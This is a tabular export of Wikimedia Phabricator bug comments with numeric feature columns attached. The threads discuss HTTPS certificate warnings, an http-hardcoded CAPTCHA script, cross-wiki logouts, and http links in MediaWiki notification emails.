+183110,https://wikipedia.com and similar throw certificate warning,This includes https://wikipedia.com and https://wikipedia.net,,,1375517056,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+183103,https://wikipedia.com and similar throw certificate warning,"(In reply to comment #0)
+> From bug 34788 comment #8:
+>> On a related note, if you go to .com addresses (like https://en.wikipedia.com/)
+>> using HTTPS protocol, before you get forwarded to the .org address, you will
+>> get an error message regarding the SSL key. That is because the .com addresses
+>> use the SSL key that is for *.wikipedia.org
+
+It'd be nice to know how common this is (usage stats, I guess). It's been quite some time since wikipedia.com was the primary domain. :-)",,,1350100865,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,1,True,,,-46,True,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+42631,"Asirra link hardcoded as http, caused mixed content warnings when used over https","**Author:** `jacoblesser`
+
+**Description:**
+The link to the Asirra clientscript is hardcoded as http://.  This causes mixed content warnings in internet explorer when viewed over a secure https:// connection and the CAPTCHA does not display.  This can be fixed by modifying line 8 of Asirra.class.php from this:
+
+public $asirra_clientscript = 'http://challenge.asirra.com/js/AsirraClientSide.js';
+
+to this:
+
+public $asirra_clientscript = '//challenge.asirra.com/js/AsirraClientSide.js';
+
+--------------------------
+**Version**: master
+**Severity**: minor",Low,25.0,1348960440,1370483451.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6o3fbg25oovih6ra7fft,task_description,resolved,True,c2,1,False,False,True,-48,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0
+186478,"Asirra link hardcoded as http, caused mixed content warnings when used over https",Merged,,,1370483451,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6o3fbg25oovih6ra7fft,task_subcomment,,True,c2,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+186472,"Asirra link hardcoded as http, caused mixed content warnings when used over https","They were able to fix it, so this is ready for review.",,,1370469060,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6o3fbg25oovih6ra7fft,task_subcomment,,True,c2,1,False,,,-12,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+186466,"Asirra link hardcoded as http, caused mixed content warnings when used over https","They replied to my email last week (sorry I forgot to update this), and after some troubleshooting, we tracked down a possible cause.  They are investigating if they can fix it on their end so https://challenge.asirra.com/js/AsirraClientSide.js has valid SSL.",,,1368495631,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6o3fbg25oovih6ra7fft,task_subcomment,,True,c2,1,False,,,-16,True,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+186457,"Asirra link hardcoded as http, caused mixed content warnings when used over https",Certificate checkers (e.g. https://www.digicert.com/help/ ) also indicate the root is not trusted.,,,1367611389,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6o3fbg25oovih6ra7fft,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+186449,"Asirra link hardcoded as http, caused mixed content warnings when used over https","Firefox accepts the SSL cert for https://challenge.asirra.com/js/AsirraClientSide.js, but Chromium does not, so I'm not sure we should merge this.
+
+It is signed by what seems to be an obscure SSL issuer, ""MSIT Machine Auth CA 2"".
+
+I emailed them to ask if it's possible for them to switch to a more compatible one.",,,1367610833,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6o3fbg25oovih6ra7fft,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0
+186442,"Asirra link hardcoded as http, caused mixed content warnings when used over https",Related URL: https://gerrit.wikimedia.org/r/62186 (Gerrit Change Id31041b90f66e384f9e8caf1c247774e0c6b44e5),,,1367610370,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6o3fbg25oovih6ra7fft,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+42036,Logged out of other wikis on login to wikimania2012 wiki,"I was logged into all the main wikis, and when I visited wikimania2012.wikimedia.org I was not logged in, so I logged in using my unified account. However, I was simultaneously logged out of all the other sites including Meta and Wikipedia. When I logged back in to those wikis the login to the wikimania2012 wiki stayed.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Low,25.0,1346893020,1356473420.0,PHID-USER-wqc7ciyvfzunj3l2tvjt,False,,False,PHID-TASK-skiwlpxdecshfk64y4pv,task_description,resolved,True,c2,1,False,False,True,-51,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+200243,Logged out of other wikis on login to wikimania2012 wiki,"(In reply to comment #2)
+> I think it's too late to worry about the Wikimania 2012 wiki, but think that
+> https://gerrit.wikimedia.org/r/#/c/38722/ will fix it for the Wikimania 2013
+> wiki.
+
+Merged and deployed by Reedy on the 16th. Logging into wikimania2013wiki doesn't seem to log me out of other wikis.",,,1356473420,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-skiwlpxdecshfk64y4pv,task_subcomment,,True,c2,1,True,,,-36,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+200238,Logged out of other wikis on login to wikimania2012 wiki,"Yeah, for example if I go to http://uk.wikimedia.org/wiki/Main_Page (the UK chapter wiki, but WMF hosted) I have to manually login.
+
+I'm pretty sure a wiki needs to be included in ""Logging you in to Wikimedia's other projects"" (with the icon) to make it work, though I'm not expert at this and could be wrong.",,,1355501563,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-skiwlpxdecshfk64y4pv,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+200235,Logged out of other wikis on login to wikimania2012 wiki,"I think it's too late to worry about the Wikimania 2012 wiki, but think that https://gerrit.wikimedia.org/r/#/c/38722/ will fix it for the Wikimania 2013 wiki.
+
+I think the issue is that the wikimania wiki is not part of the CentralAuth ""Logging you in to Wikimedia's other projects:"" that you see when logging in.",,,1355501442,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-skiwlpxdecshfk64y4pv,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+200231,Logged out of other wikis on login to wikimania2012 wiki,this seems to also occur with the wikimania 2013 wiki.,,,1355499645,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-skiwlpxdecshfk64y4pv,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+41676,Links in MediaWiki emails should respect the user's https preference,"**Author:** `jack.sns`
+
+**Description:**
+The email I received from Chinese Wikipedia. All the link are http, not https.
+
+Sometimes Wiki project send some E-mail to users and some of them have links, some links are https but some of them are not. For example, the Chinese Wikipedia send email to me about some article change but the link in the mail are all http. I usually https and when I click the link, I will log out. In addition, it's not safe. I think all the links should be https to make the connection safer. I hope someone can solve this problem. Thanks!
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+
+**Attached**: {F10209}",Low,25.0,1346036040,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-yelvmbvdcoejarkbmecc,task_description,open,True,c2,1,False,False,,-53,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,1
+2199730,Links in MediaWiki emails should respect the user's https preference,"There is still a 'prefershttps' in MediaWiki, but it is hidden when [[https://www.mediawiki.org/wiki/Manual:$wgForceHTTPS|$wgForceHTTPS]] is true since rMWc75eef91bf27046ca (T256095).
+
+Currently (1.41) $wgForceHTTPS is false by default, so there may be still MediaWiki installations with no mandatory HTTPS. This task should probably be part of a general task ""Prepare MW to be HTTPS-by-default but optionally HTTP-if-specifically-requested"" (but imho even in this scenario the per-user preference prefershttps should be removed).",,,1695717659,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,525,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+1529769,Links in MediaWiki emails should respect the user's https preference,"I suspect this bug is invalid/decline-able at this point.
+
+The links will follow `$wgServer` (in WMF is prot-rel) or `$wgCanonicalServer` (in WMF is https)
+
+If any wiki is sending HTTP links when it's a HTTPS only wiki, that's a local config issue, or maybe some odd specific code hardcoding HTTP. Should be fixed in seperate tasks
+
+>>! In T41676#5372307, @RazeSoldier wrote:
+> I don't think there is https preference now.
+
+Indeed. I think we had something for a while... but 8 years is a long time ago. There's certainly no preference to respect in current versions of MW",,,1592745398,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,355,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+1529742,Links in MediaWiki emails should respect the user's https preference,"As this issue is a general MediaWiki issue, not related to any Wikimedia Chinese Project since all email send from Wikimedia now are HTTPS as the canonical protocol, hence removing #chinese-sites.",,,1592731587,,PHID-USER-pb7r4bwzfkqxwgliqtet,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,355,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+1325123,Links in MediaWiki emails should respect the user's https preference,I don't think there is https preference now.,,,1564394990,,PHID-USER-gbmieq6vqkhk6l7glmjd,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,308,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+1325072,Links in MediaWiki emails should respect the user's https preference,"@Shizhao: With which version of MediaWiki did you test this, on which exact website?",,,1564389400,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,308,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+1324204,Links in MediaWiki emails should respect the user's https preference,The problem is no longer present,,,1564114000,,PHID-USER-xxkolqnkrj3sfwdouu7j,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,308,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0
+738799,Links in MediaWiki emails should respect the user's https preference,"The ""Phabricator_maintenance"" user re-added the project HTTPS. Then herald re-added Traffic and Operations. This is not correct, the ticket is nowadays just about Mediawiki itself. I don't want to get into edit warr-ing over the tags.",,,1475585519,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,161,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0
+673475,Links in MediaWiki emails should respect the user's https preference,"right, HTTPS implies Traffic, have to remove all 3....",,,1464893231,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,144,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+673471,Links in MediaWiki emails should respect the user's https preference,"This is apparently now about MediaWiki, not about Wikimedia emails (as we're all-HTTPS), so I'm removing the Ops/Traffic tags.",,,1464893134,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,144,True,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+507412,Links in MediaWiki emails should respect the user's https preference,">>! In T41676#1534806, @Mdann52 wrote:
+> Unless this includes user-sent emails (which we can't enforce), I can't see what needs attention here...
+
+What Krenair is saying is that this should be fixed for all MediaWiki installations out there, regardless of the protocol combo they use, not just WMF ones.",,,1439474849,,PHID-USER-2trxtywh5ma4onasf4kq,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,102,True,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,1
+507391,Links in MediaWiki emails should respect the user's https preference,">>! In T41676#1534806, @Mdann52 wrote:
+> From the emails I've received from Wikipedia, this is the case, I may be misreading though...
+
+Yes, because Wikipedia now uses https as the canonical protocol, and you can't get to it via http.",,,1439473229,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,102,True,0,0,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,1
+507388,Links in MediaWiki emails should respect the user's https preference,"From the emails I've received from Wikipedia, this is the case, I may be misreading though...
+Unless this includes user-sent emails (which we can't enforce), I can't see what needs attention here...
+",,,1439473061,,PHID-USER-lumvg23bxmfbvekr2fbo,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,102,True,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+507386,Links in MediaWiki emails should respect the user's https preference,No.,,,1439472602,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,102,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+507381,Links in MediaWiki emails should respect the user's https preference,Fixed with move to https only,,,1439472222,,PHID-USER-lumvg23bxmfbvekr2fbo,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,102,True,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+476145,Links in MediaWiki emails should respect the user's https preference,">>! In T41676#1372691, @jayvdb wrote:
+> As my emails from Wikimedia now contain https://, and I am guessing that MediaWiki uses http:// in emails that only have a http server, I think this is now either fixed or WONTFIX-able.
+
+That's because the canonical URL changed. This is till a valid MediaWiki issue.",,,1434524523,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,94,True,0,0,0,1,0,1,0,1,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+476109,Links in MediaWiki emails should respect the user's https preference,"As my emails from Wikimedia now contain https://, and I am guessing that MediaWiki uses http:// in emails that only have a http server, I think this is now either fixed or WONTFIX-able.",,,1434512652,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,94,True,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+204421,Links in MediaWiki emails should respect the user's https preference,"Since bug 29898 was fixed, isn't this an easy MediaWiki bug? We already vary emails based on preferences (particularly language), it's trivial to modify (or wrap) getCanonicalURL.",,,1400654784,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,38,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+204415,Links in MediaWiki emails should respect the user's https preference,"With the present configuration on Wikimedia wikis, this could be almost WONTFIXed; but in the details privacy-conscious users will prefer https links from the beggining: if you have any http link there is a chance you get spied (security), and they also expect a https link (usability). So I am in favour of keeping this bug open until proper resolution, although this one will be quite complicated.",,,1386708251,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,14,True,1,0,0,1,0,1,1,0,1,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+204408,Links in MediaWiki emails should respect the user's https preference,"(In reply to comment #12)
+> So should this ticket be closed as WONTFIX as there are no  plans to make the
+> links in the email itself http:// ?
+
+Do you mean ""to make the links in the email itself https://""?
+
+I don't necessarily think it should be WONTFIXed.  I was just pointing out that if they do visit/attempt to visit HTTP, it should behave correctly.
+
+We still may want to change emails to be HTTPS at some point.  This particularly makes sense for emails targeted towards logged in users, such as watchlist and Echo (including talk page) notifications, and email verification.  This is logical since logged in users are now sent to HTTPS while logged in by default.
+
+However, there are issues that complicate things. E.g. in blacklisted countries (China, Iran), logged in users are not HTTPS by default, and there is also a user preference (""Always use a secure connection when logged in"") that can be turned off.",,,1386703222,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,14,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+204401,Links in MediaWiki emails should respect the user's https preference,"(In reply to comment #11)
+> There are always going to be HTTP links to Wikipedia, from search engines,
+> social networks, etc.  Thus, we need to make sure (on our side) logged in
+> users
+> are redirected to HTTPS in such cases.
+
+Being logged in and clicking a http:// link in a MediaWiki notification email I do get redirected to https://.
+
+So should this ticket be closed as WONTFIX as there are no  plans to make the links in the email itself http:// ?",,,1386697735,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,14,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,1
+204394,Links in MediaWiki emails should respect the user's https preference,"(In reply to comment #10)
+> Same problem with Wikidata notification emails. Lack of https leads to some
+> people being logged out when following the link. As soon as they press
+> another
+> link https is restored and their logged back in. See:
+> https://www.wikidata.org/wiki/Wikidata:Project_chat#Staying_logged_in
+
+That sounds like a separate issue, bug 53538.
+
+There are always going to be HTTP links to Wikipedia, from search engines, social networks, etc.  Thus, we need to make sure (on our side) logged in users are redirected to HTTPS in such cases.
+
+Chris said there ""The remaining fixes will be deployed with 1.22wmf16"".  1.22wmf16 hit all non-Wikipedia sites (including Wikidata) today, so it may be fixed.",,,1378761642,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,1,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
